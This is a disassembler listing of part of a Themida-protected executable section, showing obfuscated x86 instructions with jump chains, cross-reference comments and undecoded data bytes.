		dd 0FFAB5A3Eh, 0E95BDF89h, 0A6FAh, 8324148Bh, 815B04C4h
		dd 9743CFEBh, 0F544E920h
		db 2 dup(0FFh)
word_544DA2	dw 0EC81h		; DATA XREF: Themida_:00543224o
		dd 4, 57242C89h, 0F74C1668h, 243C8B41h,	8104C483h, 0F74C15EFh
		dd 6CB16841h, 3C890000h, 105D6824h, 2C890000h, 5EBA5224h
		dd 0E92A452Bh, 0D9A8h, 68241C89h, 7CEC0066h, 98B3E9h, 3192D00h
		dd 9FE96111h, 500000EAh, 4358E9h
		db 0
; ---------------------------------------------------------------------------

loc_544DF5:				; CODE XREF: Themida_:005517D5j
		push	ebp
		mov	ebp, 3CBD1D57h
		push	esi
		mov	esi, 1DA00401h
		add	esi, 2A8E2C0Fh
		jmp	loc_5516F4
; ---------------------------------------------------------------------------
		dd 68241489h, 995h, 51240489h, 2E7A68h,	241C8900h, 0EB8036B3h
		dd 89B6529Ch, 0FE5AF328h, 7E3C0CBh, 88A5EB80h, 1FC9E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_544E3A:				; CODE XREF: Themida_:005535BEj
		add	edx, 14D24C0Dh
		pop	ecx
		jmp	loc_550E69
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 3204675h, 0CCE9C801h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_544E53:				; CODE XREF: Themida_:00543EB7j
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_557F84
; ---------------------------------------------------------------------------
		dd 241C8B66h, 0E902C483h, 8211h, 68241489h, 79CBh, 0FF240489h
		dd 13E92434h, 89000112h, 0E868242Ch, 8900006Eh,	0E9522424h
		dd 0B096h, 68241489h, 5645h, 83242489h,	5A042404h, 4C281h
		dd 0B2E90000h, 5C000073h, 5204C483h, 4B1B68h, 24248900h
		dd 4240483h, 5524148Bh,	0BF575D54h, 7A4F4E3Ah, 0E9FFEF83h
		dd 7F9Fh
; ---------------------------------------------------------------------------

loc_544EDC:				; CODE XREF: Themida_:0054A79Ej
		add	ebx, 7336829h
		jmp	loc_556049
; ---------------------------------------------------------------------------
		db 68h
		dd 6534h, 0E9243C89h, 125FDh
; ---------------------------------------------------------------------------

loc_544EF4:				; CODE XREF: Themida_:0055427Cj
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54A76E
; ---------------------------------------------------------------------------
		dd 243CD366h, 0E38DE99Ch, 88E9FFFFh, 50FFFFE3h,	405E089h
		dd 0E9000000h, 1267Dh, 0FFE376E9h, 24248BFFh, 2EBE9h, 5EF10100h
		dd 4BD55h, 0E9010000h, 240C875Dh, 0E389535Ch
		db 0E9h, 0ABh
word_544F42	dw 14h			; DATA XREF: ___:off_4274E0o
		dd 244C0100h, 22E95904h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_544F4F:				; CODE XREF: Themida_:0054FE0Ej
		jz	loc_557294
		push	4C64h
		mov	[esp], edx
		jmp	loc_55599A
; ---------------------------------------------------------------------------

loc_544F62:				; CODE XREF: Themida_:00547A41j
		push	eax
		mov	eax, 3D29793Bh
		sub	esi, eax
		jmp	loc_54C28B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4106800h, 34890000h, 76E4BE24h, 0EC813A24h, 4
		dd 0F7243489h, 0C15E2414h, 0F68107E6h, 5A62945h, 0B04BE9h
		db 0
; ---------------------------------------------------------------------------

loc_544F9D:				; CODE XREF: Themida_:0054655Bj
		mov	esi, eax
		jmp	loc_549B7D
; ---------------------------------------------------------------------------
		dd 240C895Ch, 9192B3B9h, 4EC8352h, 0FF240C89h, 3DE92434h
		db 31h,	1, 0
; ---------------------------------------------------------------------------

loc_544FBB:				; CODE XREF: Themida_:0054C488j
		push	7E05h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_545E68
; ---------------------------------------------------------------------------

loc_544FDB:				; CODE XREF: Themida_:0054D3C1j
		shl	ecx, 8
		push	edi
		mov	edi, 56E15119h
		shl	edi, 1
		or	edi, 3B22266h
		jmp	loc_552ACC
; ---------------------------------------------------------------------------

loc_544FF1:				; CODE XREF: Themida_:00545C05j
		add	dword ptr [esp], 4
		jmp	loc_558348
; ---------------------------------------------------------------------------
		db 88h,	0EBh, 8Bh
		dd 0C481240Ch, 4, 0B035E9h
		db 0
; ---------------------------------------------------------------------------

loc_54500D:				; CODE XREF: Themida_:00555A1Aj
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	ebx, ebp
		pop	ebp
		add	ebx, 7A41E77Dh
		push	224Eh
		mov	[esp], esi
		mov	esi, ebx
		mov	eax, esi
		jmp	loc_5510A7
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 511B9EF2h, 5AD701F9h, 1CBA68h, 241C8900h, 2894BF57h
		dd 2AE94051h, 890000DAh, 48E92404h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545053:				; CODE XREF: Themida_:0054B82Aj
		mov	eax, [esp]
		add	esp, 4
		push	53A4h
		mov	[esp], eax
		mov	eax, 1
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, 6994538Dh
		add	eax, ebp
		sub	eax, 6994538Dh
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7A52468Ch
		jmp	loc_5439BF
; ---------------------------------------------------------------------------
aBdJrkLSd	db ']│D$',8,'нJrk)L$',8,'И└й',0
		align 4

loc_5450B4:				; CODE XREF: Themida_:0054D945j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_54836C
; ---------------------------------------------------------------------------

loc_5450BF:				; CODE XREF: Themida_:005519DAj
		push	26DD6E4Ah
		pop	ebx
		jmp	loc_54F42A
; ---------------------------------------------------------------------------
		dw 0D809h
		dd 1DF1355Bh, 0C3013D4Bh, 33D06858h, 14890000h,	0E9E28924h
		dd 0F5C6h
; ---------------------------------------------------------------------------

loc_5450E4:				; CODE XREF: Themida_:0054ACA5j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		mov	bl, dl
		mov	[edi+eax*4+1], bl
		mov	ebx, [esp]
		push	1D0Dh
		mov	[esp], edx
		mov	edx, esp
		push	esi
		push	6D11553Fh
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	0A92h
		jmp	loc_54E5C3
; ---------------------------------------------------------------------------
		dw 40B9h
		dd 0E92B7A11h, 0E49Bh, 575AD601h, 4BFh,	5FFE2900h, 187FE9h
		db 0
; ---------------------------------------------------------------------------

loc_545139:				; CODE XREF: Themida_:00555CFCj
		pop	ebx
		or	ecx, edx
		pop	edx
		push	7A0Ah
		jmp	loc_54E150
; ---------------------------------------------------------------------------
		db 56h
		dd 1975D1BEh, 5EF02942h, 0ECFE9h
		db 0
; ---------------------------------------------------------------------------

loc_545155:				; CODE XREF: Themida_:005501BEj
		push	ebp
		mov	ebp, 6C023D21h
		add	ecx, ebp
		jmp	loc_54BFE7
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5F0424h, 685C2404h, 46D8h,	0E9242C89h, 9DC9h
; ---------------------------------------------------------------------------

loc_545178:				; CODE XREF: Themida_:00551CB1j
		xchg	esi, edx
		jmp	loc_54ADD6
; ---------------------------------------------------------------------------
		db 5Ah
		dd 26B4F781h, 8955D487h, 0A87E9FDh, 805A0001h, 0F18068C1h
		dd 8BCA00BAh, 0C483240Ch, 0D9C28004h, 148BD328h, 4C48124h
		dd 52000000h, 29406850h, 14890000h, 4C8E924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5451BA:				; CODE XREF: Themida_:00557899j
		push	edi
		jmp	loc_55280B
; ---------------------------------------------------------------------------
		dd 6EEBBB5Eh, 0EB8113E2h, 2461265Bh, 2F3CC381h,	0E5E97B03h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5451D7:				; CODE XREF: Themida_:00553889j
		mov	[esp], ebx
		mov	ebx, 1CD7AAFh
		add	ebx, 2DDF5449h
		sub	edx, ebx
		pop	ebx
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_549C3E
; ---------------------------------------------------------------------------

loc_5451F5:				; CODE XREF: Themida_:00548F4Aj
		pop	eax
		sub	edi, 1
		jmp	loc_55366F
; ---------------------------------------------------------------------------
		dw 0C6FEh
		dd 77D4E9h, 80CAFE00h, 0E2C0D0C2h, 0B3536606h, 0E9DA304Eh
		dd 257Eh, 2424D366h, 0E079E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545222:				; CODE XREF: Themida_:00547F92j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_54C6AA
; ---------------------------------------------------------------------------
		db 81h
		dd 0F768C2EBh, 0EF81E910h, 0C801FFFFh, 0CE0FE951h
		db 2 dup(0)
word_545246	dw 8B66h		; DATA XREF: Themida_:0054320Co
		dd 0EC83240Ch, 243C8904h, 8CB0E9h
		db 0
; ---------------------------------------------------------------------------

loc_545255:				; CODE XREF: Themida_:0054E08Ej
		pop	ebx
		push	esi
		push	ecx
		xor	dword ptr [esp], 17993902h
		pop	esi
		xor	esi, 17993902h
		mov	edx, esi
		pop	esi
		pop	ecx
		add	edx, 799A4486h
		add	edx, 53205092h
		add	edx, edi
		sub	edx, 53205092h
		push	ebp
		mov	ebp, 799A4486h
		sub	edx, ebp
		pop	ebp
		push	dword ptr [edx]
		jmp	loc_55081A
; ---------------------------------------------------------------------------
aSph		db 'SPh╡=',0
		dd 24148900h, 8835B151h, 0D46859CEh, 89000067h,	84E9240Ch
		dd 1000039h, 7CCFE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5452B2:				; CODE XREF: Themida_:00545ACEj
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	0F41h
		mov	[esp], esi
		mov	esi, 7071523h
		push	esi
		inc	dword ptr [esp]
		jmp	loc_55754B
; ---------------------------------------------------------------------------
dword_5452E0	dd 24048B66h, 515F5457h, 8E82E9h, 8BF88800h, 0C481241Ch
					; DATA XREF: Themida_:00543014o
		dd 4, 5866C300h, 0B5DEE9h, 2A576800h, 9E90000h,	81FFFFE4h
		dd 4ECh, 241C8900h, 0DE88CB88h,	0A730E9h, 0A74BF00h, 0EF8115B0h
		dd 29170DD1h, 874BDF87h, 83CF81DFh, 816AE705h, 9F3DFEC7h
		dd 5FFD314Ah, 0BD0BE9h,	24248B00h, 0FF2434FFh, 565A2434h
		dd 0BF57E689h
dword_545350	dd 72016A98h, 365EBA52h, 0BE561138h, 1D432E29h,	7408E9h
					; DATA XREF: ___:off_43664Co
		dd 0FCF38100h, 29E19D38h, 0F3015BDEh, 8D57E95Eh, 0D1F70000h
		dd 44E0C181h, 0E9C14018h, 0F3F18103h, 0C1384F6Dh, 0E98102E1h
		dd 7C68ADD3h, 5AC0E9h, 4875600h, 87D0F724h, 0E95E2404h
		dd 0BA7Fh, 0E1BAC281h, 0E981835Eh, 0E107A16h, 0C181D101h
		dd 0E107A16h, 8324148Bh, 895004C4h, 0E9E955E0h,	0B8FFFFECh
		dd 4A07512Bh, 10B44E9h,	87048F00h, 0FFDEC2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5453D9:				; CODE XREF: Themida_:00544BD0j
		sub	ebx, 69DAFC80h
		jmp	loc_5476F5
; ---------------------------------------------------------------------------

loc_5453E4:				; CODE XREF: Themida_:0054D4C8j
		mov	[esp], edi
		mov	edi, 29861677h
		shl	edi, 3
		or	edi, 0B005F83h
		jmp	loc_553DD1
; ---------------------------------------------------------------------------

loc_5453FA:				; CODE XREF: Themida_:00556BA0j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_545AE0
; ---------------------------------------------------------------------------

loc_545403:				; CODE XREF: Themida_:0054C75Fj
		push	edi
		mov	edi, 4C5901B1h
		mov	ebx, 0B3A6FE53h
		add	ebx, edi
		pop	edi
		add	ecx, ebx
		pop	ebx
		jmp	loc_54D48D
; ---------------------------------------------------------------------------

loc_545419:				; CODE XREF: Themida_:005544C3j
		add	ebp, 4
		push	ebx
		push	ecx
		mov	ecx, 4
		push	eax
		mov	eax, ecx
		mov	ebx, eax
		pop	eax
		jmp	loc_54C4B4
; ---------------------------------------------------------------------------
aEcsc6		db '╦\',1Bh,'╔cИ≈6',0
		dw 8100h
		dd 2F6B02EBh, 51EB013Bh, 2F6B02B9h, 59CB013Bh, 0DCD2E9h
		db 0
; ---------------------------------------------------------------------------

loc_545451:				; CODE XREF: Themida_:00551F29j
		pop	eax
		shr	edi, 7
		jmp	loc_555E4D
; ---------------------------------------------------------------------------

loc_54545A:				; CODE XREF: Themida_:0054F03Aj
		add	esp, 4
		push	edx
		mov	edx, 649E3490h
		sub	esp, 4
		jmp	loc_553B70
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 42h
		dd 8103EAC1h, 85BBFCF2h, 5AD00161h, 5C6BE9h, 1237BA00h
		dd 814A77E7h, 0D63047F2h, 81DAF721h, 3777BECAh,	583EE917h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54549E:				; CODE XREF: Themida_:0054F3B0j
		sub	edx, 23AE097Ch
		sub	edx, 0EDF1DA0h
		add	edx, 550C6714h
		jmp	loc_548665
; ---------------------------------------------------------------------------
		db 68h,	61h, 3Ah
		dd 815A6FBEh, 49515FEAh, 0E9DAF722h, 0FFFFFFA9h, 5C243C33h
		dd 10285E9h, 42D00h, 0E9E90000h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5454DB:				; CODE XREF: Themida_:0054DDE0j
		mov	[esp], esi
		push	edx
		push	0A830A95h
		pop	edx
		sub	edx, 23762D9Fh
		jmp	loc_55241D
; ---------------------------------------------------------------------------
		dd 8B240487h, 3C892424h, 53E78924h, 4BBh, 8BDF0100h, 0C483241Ch
		dd 6942E904h, 9DBA0000h, 2911B911h, 8B042454h, 0C4812414h
		dd 4, 20B168h, 24348900h, 463BB850h, 0B1E94AB5h, 83000040h
		dd 0E98104C4h, 4, 126B68h, 240C8900h, 42474FFh,	81240C8Bh
		dd 4C4h, 0BC3E900h
		db 1, 0
word_545556	dw 8B66h		; DATA XREF: Themida_:0054321Co
		dd 69682404h, 89000077h, 0FF542434h, 815E2434h,	4C4h, 4EC8300h
		dd 50240C89h, 0AA528AB8h, 58C18929h, 5001E983h,	6118CBB8h
		dd 48B8355Eh, 0C53535B1h, 959EB07h, 0C98158C1h,	444B3EDEh
		dd 3BA1BE56h, 0E6C11548h, 6BE0E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5455A6:				; CODE XREF: Themida_:0054D1FEj
		mov	esi, 0FFFFFFFFh
		sub	ebp, esi
		pop	esi
		inc	ebp
		shr	ebp, 4
		sub	ebp, 58D3BD4h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5565AA
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 2
		dd 0C4C1E9h, 80C50500h,	0F7969876h, 0E8D196DEh,	0FFA9D705h
		dd 0E9C301DFh, 9FC3h, 0BFh, 0E9CF2900h,	0FFFFF566h, 4EB81h
		dd 0E9E90000h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5455FB:				; CODE XREF: Themida_:00548F1Ej
		xchg	ecx, [esp]
		jmp	loc_54B3A3
; ---------------------------------------------------------------------------
aBMF_iSvx	db '│цmЛF_┴ч[И┌X',0
		dd 5DEA0100h, 8D7EE9h
		db 0
; ---------------------------------------------------------------------------

loc_545619:				; CODE XREF: Themida_:0054FFACj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54EE4E
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 472666C8h, 1179EE9h,	6780BB00h, 0C1E9786Fh
		db 13h,	1, 0
; ---------------------------------------------------------------------------

loc_545637:				; CODE XREF: Themida_:00543F75j
		add	ecx, 33032AF3h
		pop	edx
		neg	ecx
		xor	ecx, 4ACF6C2Ah
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54639E
; ---------------------------------------------------------------------------
aNbSkf		db '╜│фSK■',0           ; DATA XREF: Themida_:005430ACo
		db 50h
		dd 0AA0401B8h, 39E94854h, 50000035h, 4DA2BD55h,	0D1E947DCh
		dd 810000A8h, 7353B0EFh, 7F9AE967h, 0D1F70000h,	0A811BB53h
		dd 0D931B8E0h, 59CD295Bh, 0E5D1DDF7h, 0C69CE9h,	4C48100h
		dd 0C1000000h, 0C14F03EFh, 0E7C108EFh, 10B4E907h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5456AA:				; CODE XREF: Themida_:00551BB8j
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 175610F1h
		or	edx, ebx
		pop	ebx
		shl	edx, 8
		sub	edx, 942E4EBh
		xor	esi, edx
		jmp	loc_54C464
; ---------------------------------------------------------------------------
		dd 1A79C581h, 0ED8129E9h, 13DB1A08h, 83243C8Bh,	6EBA04C4h
		dd 0E930323Ch, 3114h
; ---------------------------------------------------------------------------

loc_5456EC:				; CODE XREF: Themida_:0054C032j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5434BA
; ---------------------------------------------------------------------------

loc_5456FB:				; CODE XREF: Themida_:00546188j
		add	esi, 686D2DC6h
		sub	esi, edi
		jmp	loc_543B77
; ---------------------------------------------------------------------------
		dd 8BC6015Eh, 0C4832404h, 24348704h, 7DDCE9h, 815E5A00h
		dd 853C97C2h, 7411E909h, 0C3810000h, 4,	4EB81h,	1C870000h
		dd 4895C24h, 1C32B824h,	0C14865ECh, 484806E8h, 41B5E405h
		dd 0F1DEE966h, 0C181FFFFh, 4, 627E9h, 0D3665C00h, 0E99C240Ch
		dd 0FFFFDB37h, 0E751FE2Dh, 0DD890519h, 0C12948D3h, 33BD5558h
		dd 810B4009h, 0EA4100EFh, 0E9EF293Fh, 5369h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_557D73
; ---------------------------------------------------------------------------
		dd 4C681h, 0FF560000h, 5E042474h, 5C24048Fh, 136B68FDh
		dd 0D7E970E9h, 0F70000F0h, 360D25D8h, 0D8F7622Bh, 0FE17E948h
		dd 48BFFFFh, 4C48324h, 4C481h, 0E9530000h, 8347h, 17E2EA81h
		dd 0EA81D369h, 243E59B5h, 3EAFC281h, 0E2810410h, 28C800BBh
		dd 1ED3C281h, 0D8E95A41h, 0C1000094h, 0F18106E9h, 1C111E7Dh
		dd 5659C831h, 0C681E689h, 4, 4B850h, 0C6290000h, 24348758h
		dd 8924248Bh, 65E9243Ch, 55FFFFE8h, 8DE95D54h, 87000015h
		dd 1AE92414h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545827:				; CODE XREF: Themida_:00550D89j
		push	ecx
		jmp	loc_554886
; ---------------------------------------------------------------------------
		db 31h,	0C2h, 31h
		dd 0E9C231D0h, 0FFFFE8C3h
; ---------------------------------------------------------------------------

loc_545838:				; CODE XREF: Themida_:005530F1j
		mov	esi, 76F25960h
		xor	esi, 2C74657Bh
		push	edi
		mov	edi, 3C2B0ADCh
		shr	edi, 6
		add	edi, 1
		xor	edi, 5A769033h
		xor	esi, edi
		pop	edi
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	esi
		push	3163h
		mov	[esp], eax
		push	6B59h
		mov	[esp], ebx
		jmp	loc_54AA28
; ---------------------------------------------------------------------------
dword_545884	dd 24048B66h, 4577E9h, 81DDF700h, 0FAE1A1F5h, 5DE801D6h
					; DATA XREF: Themida_:00543184o
		dd 0A1A5E9h, 0E9DBF700h, 13D6h,	0F580D5F6h, 59EE28ABh
		dd 0C058E680h, 0D6F603E6h, 804ACE80h, 0F088BAC6h, 8068B35Ah
		dd 0C3002BC3h, 4133E9h,	0E9535800h, 11D0h, 83243C8Bh, 0FF5604C4h
		dd 8B042474h, 0C4812434h, 4, 8B24048Fh,	4012424h, 0FBE99C24h
		dd 5A0000A3h, 4EC81h, 2C890000h, 31E95424h, 560000BBh
		dd 947B7BBEh, 5EF12979h, 8324348Bh, 0C8704C4h, 24248B24h
		dd 9C240CFFh, 88CE9h
		db 0
; ---------------------------------------------------------------------------

loc_545921:				; CODE XREF: Themida_:00555C8Fj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54FB4A
; ---------------------------------------------------------------------------
		db 50h
		dd 0E95E5856h, 10D01h
; ---------------------------------------------------------------------------

loc_545948:				; CODE XREF: Themida_:0055470Aj
		mov	eax, 4
		jmp	loc_546753
; ---------------------------------------------------------------------------

loc_545952:				; CODE XREF: Themida_:00546F44j
		or	esi, 5EFC6D00h
		neg	esi
		not	esi
		sub	esi, 41165F2Ah
		jmp	loc_54C6C4
; ---------------------------------------------------------------------------
aHdddjsm2	db 'h└DDJИ╛2',0
		db 0
byte_545971	db 66h,	8Bh, 4		; DATA XREF: Themida_:00543008o
aQiss		db '$Q┴АИу&',0
		dd 0EA815B00h, 6189387Dh, 4AA7E281h, 9FE97D3Eh,	810000C5h
		dd 4ECh, 240C8900h, 966E957h, 0E95C0001h, 3B83h
; ---------------------------------------------------------------------------

loc_5459A4:				; CODE XREF: Themida_:00546E55j
		add	esp, 4

loc_5459A7:				; CODE XREF: Themida_:00548E9Ej
		push	49CAh
		mov	[esp], ebx
		jmp	loc_54762D
; ---------------------------------------------------------------------------

loc_5459B4:				; CODE XREF: Themida_:005565A5j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54C352
; ---------------------------------------------------------------------------

loc_5459C7:				; CODE XREF: Themida_:00543699j
		mov	ecx, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 2102716h
		or	edi, 736124C0h
		not	edi
		shr	edi, 6
		neg	edi
		xor	edi, 0FDCDC4A4h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54367C
; ---------------------------------------------------------------------------
		dd 0CA44E3BFh, 0DED815Ah, 145851Dh, 0B56E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545A0A:				; CODE XREF: Themida_:00554658j
		add	ebp, 33F97087h
		add	ebp, edi
		push	5AE1h
		mov	[esp], edx
		mov	edx, 33F97087h
		sub	ebp, edx
		pop	edx
		add	ebp, 71495D80h
		jmp	loc_5582A4
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0A1h
		dd 8054CF80h, 0FAE901EFh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545A3B:				; CODE XREF: Themida_:0054D9DEj
		and	eax, 7FC16C8Fh
		xor	eax, 7E2E354Dh
		and	edi, eax
		pop	eax
		push	esi
		push	ebp
		mov	ebp, 21060040h
		mov	esi, ebp
		pop	ebp
		sub	edi, esi
		jmp	loc_5471A5
; ---------------------------------------------------------------------------

loc_545A59:				; CODE XREF: Themida_:005539EFj
		xchg	eax, [esp]
		jmp	loc_54C39C
; ---------------------------------------------------------------------------

loc_545A61:				; CODE XREF: Themida_:005519E7j
		mov	[esp], ecx
		mov	ecx, 7AD33C51h
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_54B0B6
; ---------------------------------------------------------------------------
		db 0BBh
		dd 21980451h, 2DD5F381h, 0EBC1629Fh, 0A9A9E902h, 3C8B0000h
		dd 4C48124h, 0E9000000h, 0FFFFF499h, 0E9DDF75Fh, 36D3h
		dd 68243C89h, 3F39h, 0BA241489h, 18476160h, 815AD789h
		dd 476164F7h, 0B2EE8118h, 0E9582356h, 10E80h, 52ADE981h
		dd 0F9013009h, 3A23E9h
		db 0
; ---------------------------------------------------------------------------

loc_545ACD:				; CODE XREF: Themida_:0054C5FCj
		pop	ebx
		jmp	loc_5452B2
; ---------------------------------------------------------------------------

loc_545AD3:				; CODE XREF: Themida_:0054AAB4j
		push	6674h
		mov	[esp], ecx
		jmp	loc_54EFFB
; ---------------------------------------------------------------------------

loc_545AE0:				; CODE XREF: Themida_:005453FEj
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		push	5D38h
		mov	[esp], esi
		mov	esi, 400178F4h
		sub	ebx, 71A8702Dh
		sub	ebx, esi
		jmp	loc_54B88E
; ---------------------------------------------------------------------------

loc_545B05:				; CODE XREF: Themida_:00549079j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54C5F3
; ---------------------------------------------------------------------------

loc_545B12:				; CODE XREF: Themida_:0055129Aj
		pop	ecx
		mov	esi, 33F65D6h
		xor	esi, ecx
		pop	ecx
		xor	[esp+4], esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_549E73
; ---------------------------------------------------------------------------

loc_545B2E:				; CODE XREF: Themida_:005490CAj
		sub	cl, 1
		dec	cl
		jmp	loc_54B4B0
; ---------------------------------------------------------------------------
dword_545B38	dd 24048B66h, 2FEFE9h	; DATA XREF: Themida_:00543194o
		db 0
; ---------------------------------------------------------------------------

loc_545B41:				; CODE XREF: Themida_:00553B23j
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, edi
		add	eax, 448D3D16h
		pop	edi
		jmp	loc_5446BA
; ---------------------------------------------------------------------------

loc_545B56:				; CODE XREF: Themida_:005471ACj
		sub	esi, 148F7223h
		sub	esi, eax
		jmp	loc_544A8D
; ---------------------------------------------------------------------------
aIFAsv		db '┬ыf[─И┌',0
		db 0C8h
		dd 0D00459h, 2CD02CF8h,	5B9004ACh, 0D800792Ch, 0BEBBE9h
		dd 240C8B00h, 4C481h, 0C6810000h, 4E2E6524h, 0EE81D601h
		dd 4E2E6524h, 8124148Bh, 4C4h, 354FE900h, 0EAD10000h, 3E69E9h
		dd 2434FF00h, 0E924048Bh, 4269h, 4C181h, 0BA520000h, 26719C6h
		dd 45A5C281h, 0EA812556h, 5D7E4362h, 8904EC83h,	0D6B9240Ch
		dd 8130DA19h, 0A56781EAh, 81CA0164h, 0A56781C2h, 0E9555964h
		dd 108EDh
; ---------------------------------------------------------------------------

loc_545BF0:				; CODE XREF: Themida_:00556D65j
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	ecx
		push	3FB0h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_544FF1
; ---------------------------------------------------------------------------
aPsT		db 'PИ',7,'Б',0
		align 10h

loc_545C10:				; CODE XREF: Themida_:005446C6j
		push	28556688h
		pop	esi
		sub	esi, 68B562C6h
		or	esi, 272E7F5Ah
		jmp	loc_556121
; ---------------------------------------------------------------------------
		db 33h
		dd 8B5C241Ch, 8957240Ch, 4EC83E7h, 0BA241489h, 5B67474Ch
		dd 611EA81h, 81423B27h,	0BFBEC8C2h, 64EF81DFh, 0E912FF34h
		dd 2CA9h
; ---------------------------------------------------------------------------

loc_545C54:				; CODE XREF: Themida_:00546E9Cj
		pop	edi
		not	ebx
		jmp	loc_557A3A
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 243C8704h, 10959E9h, 0E7895700h
		dd 10ED2E9h, 241C8700h,	2404335Ch, 0CE29E9h
		db 0
; ---------------------------------------------------------------------------

loc_545C81:				; CODE XREF: Themida_:005460FFj
		add	eax, edi
		pop	edi
		jmp	loc_5539EC
; ---------------------------------------------------------------------------
		db 54h,	5Ah, 81h
		dd 4C2h, 4B85000h, 1000000h, 2434FFC2h,	0E7895758h, 4C781h
		dd 0C7830000h, 243C8704h, 9E9525Ch, 8700000Fh, 0E95C241Ch
		dd 0FFFFD5DFh, 77C9BB53h, 0C3817A05h, 0DF82A907h, 2429E9h
		db 0
; ---------------------------------------------------------------------------

loc_545CCD:				; CODE XREF: Themida_:0054E09Ej
		sub	ebx, 44CD430Bh
		add	ecx, ebx
		pop	ebx
		add	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 15F1BA82h
		sub	edx, ebx
		jmp	loc_552CD7
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 0F01F1DC8h, 9C06E9h
		db 0
; ---------------------------------------------------------------------------

loc_545CF1:				; CODE XREF: Themida_:005517C1j
		add	ebx, 391F078Ah
		add	ebx, edx
		sub	ebx, 391F078Ah
		jmp	loc_5514BE
; ---------------------------------------------------------------------------

loc_545D04:				; CODE XREF: Themida_:0054488Cj
		mov	[esp], edi
		mov	edi, 35A42592h
		add	[esp+4], edi
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		push	42CEh
		mov	[esp], edi
		jmp	loc_554475
; ---------------------------------------------------------------------------
		dd 7830BB53h, 0DA8966EAh, 8BD6295Bh, 0ADE92414h, 0BD0000F7h
		dd 3CA834AAh, 2E86E581h, 0CD81185Ah, 2D6067DAh,	8107EDC1h
		dd 852F35C5h, 0C2C381FFh, 134D078h, 0A4CE9EBh, 7050000h
		dd 124FF38h, 38072DD8h,	61E924FFh, 810000F6h, 0C30026C5h
		dd 27F58102h, 0E9140263h, 3D49h, 5C240C87h, 0EC8CE950h
		db 2 dup(0)
